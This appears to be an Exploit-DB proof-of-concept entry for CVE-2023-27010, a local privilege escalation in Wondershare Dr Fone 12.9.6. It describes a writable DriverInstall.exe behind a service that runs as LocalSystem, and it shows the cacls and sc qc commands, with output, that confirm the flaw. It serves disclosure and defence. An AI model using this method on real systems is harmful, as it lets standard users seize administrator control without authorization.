99cef8d064
11 changes to exploits/shellcodes/ghdb Snitz Forum v1.0 - Blind SQL Injection Franklin Fueling Systems TS-550 - Exploit and Default Password Tenda N300 F3 12.01.01.48 - Malformed HTTP Request Header Processing MAC 1200R - Directory Traversal Docker based datastores for IBM Instana 241-2 243-0 - No Authentication IBM Aspera Faspex 4.4.1 - YAML deserialization (RCE) ChurchCRM 4.5.1 - Authenticated SQL Injection NotrinosERP 0.7 - Authenticated Blind SQL Injection Rukovoditel 3.3.1 - Remote Code Execution (RCE) Wondershare Dr Fone 12.9.6 - Privilege Escalation
51 lines
No EOL
1.8 KiB
Text
51 lines
No EOL
1.8 KiB
Text
# Exploit Title: Wondershare Dr Fone 12.9.6 - Privilege Escalation
|
|
# Date: 14 March 2023
|
|
# Exploit Author: Thurein Soe
|
|
# Vendor Homepage: https://drfone.wondershare.com
|
|
# Software Link: https://mega.nz/file/ZFd1TZIR#e2WfCX_ryaH08C3VNGZH1yAIG6DU01p-M_rDooq529I
|
|
# Version: Dr Fone version 12.9.6
|
|
# Tested on: Window 10 (10.0.19045.2604)
|
|
# CVE : CVE-2023-27010
|
|
|
|
|
|
|
|
*Vulnerability description*:
|
|
|
|
Wondershare Dr Fone version 12.9.6 running services named "WsDrvInst" on
|
|
Windows have weak service permissions and are susceptible to local
|
|
privilege escalation vulnerability. Weak service permissions run with
|
|
system user permission, allowing a standard user/domain user to elevate to
|
|
administrator privilege upon successfully modifying the service or
|
|
replacing the affected executable. DriverInstall.exe gave modification
|
|
permission to any authenticated users in the windows operating system,
|
|
allowing standard users to modify the service and leading to Privilege
|
|
Escalation.
|
|
|
|
|
|
C:\Users\NyaMeeEain\Desktop>cacls "C:\Program Files
|
|
(x86)\Wondershare\drfone\Addins\Repair\DriverInstall.exe"
|
|
C:\Program Files (x86)\Wondershare\drfone\Addins\Repair\DriverInstall.exe
|
|
|
|
Everyone:(ID)F
|
|
|
|
NT AUTHORITY\SYSTEM:(ID)F
|
|
|
|
BUILTIN\Administrators:(ID)F
|
|
|
|
BUILTIN\Users:(ID)R
|
|
|
|
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(ID)R
|
|
|
|
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(ID)R
|
|
C:\Users\NyaMeeEain\Desktop>sc qc WsDrvInst
|
|
SERVICE_NAME: WsDrvInst
|
|
TYPE : 10 WIN32_OWN_PROCESS
|
|
START_TYPE : 3 DEMAND_START
|
|
ERROR_CONTROL : 1 NORMAL
|
|
BINARY_PATH_NAME : "C:\Program Files
|
|
(x86)\Wondershare\drfone\Addins\Repair\DriverInstall.exe"
|
|
LOAD_ORDER_GROUP :
|
|
TAG : 0
|
|
DISPLAY_NAME : Wondershare Driver Install Service
|
|
DEPENDENCIES : RPCSS
|
|
SERVICE_START_NAME : LocalSystem |